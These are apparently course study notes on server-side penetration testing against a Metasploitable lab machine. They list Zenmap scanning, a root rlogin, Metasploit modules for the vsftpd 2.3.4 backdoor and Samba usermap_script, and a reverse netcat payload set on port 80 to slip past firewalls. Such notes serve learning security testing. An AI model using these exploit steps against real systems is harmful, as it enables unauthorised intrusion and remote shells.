

## Gaining Access

- ↳ will be doing server-side attacks first
- installed metasploitable for it (msfadmin)

★ Server side attacks don't need user interaction.

- its easy to get the IP address of a web server.
- These attacks can be used against any computer that we can ping.



★ First thing we can do is information gathering. So that we can exploit them.

★ Run zenmap.

- Put the IP of target metasploitable device
- You will be able to see all applications running.
- Some misconfigurations are also there.
- Google every service to find vulnerabilities
- There is a vulnerability in the metasploitable machine.

do:

```
# rlogin -l root 192.168.59.132
```

↓  
metasploitable ip

- and you'll gain control over that system
- This was a vulnerability in our device that came w/ the open port.
- So it's important to do a zenmap scan & find all the open ports.

⇒

★ Some services come in with a backdoor embedded in it.

- In our ports that we got after a Zenmap scan, you can check that one of the services:

→ vsftpd 2.3.4 (This version of it has a backdoor cmd execution)

can be exploited by Metasploit.

★ Metasploit is an exploit development & execution tool. It can also be used to carry out other penetration testing tasks such as port scans, etc.

★ # msfconsole → runs the metasploit console  
# use [] → use a certain exploit, payload or auxiliary

- ★ # exploit → run the current task
- ★ Module Name that we will exploit is:  
exploit/unix/ftp/vsftpd-234-backdoor
- ★ So, open terminator &  
do: # msfconsole  
→ # use {name of module}  
→ # show options  
↳ this tells us what all we can do.
- ★ We need to change RHOST:  
→ # set RHOSTS 192.168.59.132  
↳ target IP  
→ # exploit ← to run  
→ now you have access to target

★ Now let's try to access the computer by code execution vulnerabilities.

★ In our nmap results, we have a Samba smbd 3.x running. That is also exploitable.

→ After googling via rapid-7, the module name:  
exploit/multi/samba/usermap-script

- ∴ do:
- open metasploit
  - use this module
  - show options to check for changes
  - set up RHOSTS
  - exploit

★ Hence it is similar.

→ Now, this time we don't have a backdoor. Whereas we have code vulnerabilities, called payloads.



- we need to create a payload & run it on the target.
- do: # show payloads
- you can run any of them.
- Bind payloads open a port on the target computer to which we can connect.
- Reverse payloads do the opposite (Bypass firewall)
- we'll use:

cmd|unix|reverse - netcat

∴ do: # set ~~p~~ PAYLOAD cmd|unix|

→ now in show options,

→ you need a listening address as well.

your own address

→ if you choose LPORT = 80. 80 is a port used by web-browsers, so it is never filtered on.

→ now do: # exploit & success.

## Nexpose

→ Vulnerability management framework  
designed to:

- discover open ports
- find vulnerabilities & exploits
- verify them
- automate scans
- generate reports

\* Companies use it.

→ technical  
→ high-level